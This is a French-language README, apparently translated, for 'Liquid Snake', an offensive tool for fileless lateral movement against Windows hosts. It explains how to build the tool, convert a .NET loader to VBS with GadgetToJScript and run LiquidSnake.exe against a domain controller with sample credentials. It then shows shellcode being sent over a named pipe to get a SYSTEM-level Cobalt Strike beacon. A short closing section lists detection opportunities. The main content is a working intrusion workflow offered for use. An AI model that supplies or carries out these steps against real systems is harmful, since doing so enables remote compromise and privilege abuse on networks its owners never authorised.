
Outil de mouvement latéral sans fichier utilisant les abonnements aux événements WMI pour exécuter des assemblages .NET en mémoire, avec injection de shellcode via des pipes nommés pour compromettre des systèmes Windows à distance.
Liquid Snake est un programme conçu pour effectuer un mouvement latéral contre des systèmes Windows sans toucher au disque. L'outil s'appuie sur l'abonnement aux événements WMI pour exécuter un assembly .NET en mémoire. L'assembly .NET écoutera un shellcode sur un pipe nommé, puis l'exécutera en utilisant une variante de l'injection de shellcode par détournement de thread.
Le diagramme ci-dessous (espérons-le) clarifie le flux de données :

Le projet est composé de deux solutions distinctes :
CSharpNamedPipeLoader - le composant qui sera transformé en VBS via GadgetToJScriptLiquidSnake - le composant responsable de la création de l'abonnement aux événements WMI sur le système distantOuvrez les deux solutions dans Visual Studio et compilez-les. Assurez-vous de cibler l'architecture x64 pour CSharpNamedPipeLoader. Si tout s'est bien passé, vous devriez obtenir deux EXE distincts : CSharpNamedPipeLoader.exe et LiquidSnake.exe
En utilisant GadgetToJScript, convertissez CSharpNamedPipeLoader.exe en VBS avec la commande suivante :
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs
Testez la désérialisation .NET avec cscript.exe et assurez-vous que tout fonctionne comme prévu :
cscript.exe test.vbs
Ensuite, encodez en base64 le fichier vbs et insérez-le dans la variable vbscript64 du Program.cs de LiquidSnake à la ligne 29.
J'ai déjà fait cela pour vous, vous pouvez donc simplement compiler la solution LiquidSnake et l'utiliser telle quelle.
L'utilisation de ce projet est simple, utilisez LiquidSnake.exe contre un hôte sur lequel vous avez un accès administratif comme suit :
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local
NOTE : Actuellement, il y a un bug lorsque vous définissez explicitement des identifiants utilisateur, l'outil ne fonctionnera pas dans ce cas. Il est recommandé d'utiliser make_token ou tout autre mécanisme d'usurpation d'identité à la place.
Si tout s'est bien passé, vous devriez obtenir une sortie similaire à la suivante :
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day
L'exemple ci-dessus utilise execute-assembly de CobaltStrike pour lancer LiquidSnake :

Pendant ce temps, sur l'hôte distant, un nouveau pipe nommé sera créé avec le nom suivant :
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Ensuite, en utilisant mon projet send_shellcode_via_pipe projet issu de mes BOFs vous pouvez envoyer un shellcode arbitraire sur le pipe distant qui sera chargé et exécuté :
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin

Si tout a fonctionné comme prévu, vous devriez obtenir un beacon SYSTEM :

NOTE : La version actuelle de LiquidSnake contient un artefact généré par GadgetToJScript qui cible la version 4.x de .NET. Si votre hôte cible n'a que la version 3.5 installée, cela échouera. Répétez simplement le même processus mais en utilisant la version appropriée de .NET lors de la construction de GadgetToJScript.
Il existe de nombreuses opportunités de détection pour identifier l'abus de cet outil et en général l'utilisation de cette technique :
clr.dll liés au processus scrcons.exescrcons.exeDe plus, le plus grand inconvénient de cette implémentation spécifique est que le shellcode est envoyé en clair sur SMB. Cela signifie que si une solution de surveillance réseau est capable d'inspecter ce trafic, il est probable qu'il se démarque. Je n'ai pas beaucoup testé contre les règles zeek/bro mais je suis assez confiant qu'il sera détecté immédiatement.
Dans le dossier detection-artefacts, j'ai laissé le fichier PCAP d'une capture Wireshark et les événements Sysmon générés lors de l'attaque (en utilisant la configuration par défaut de Swift On Security).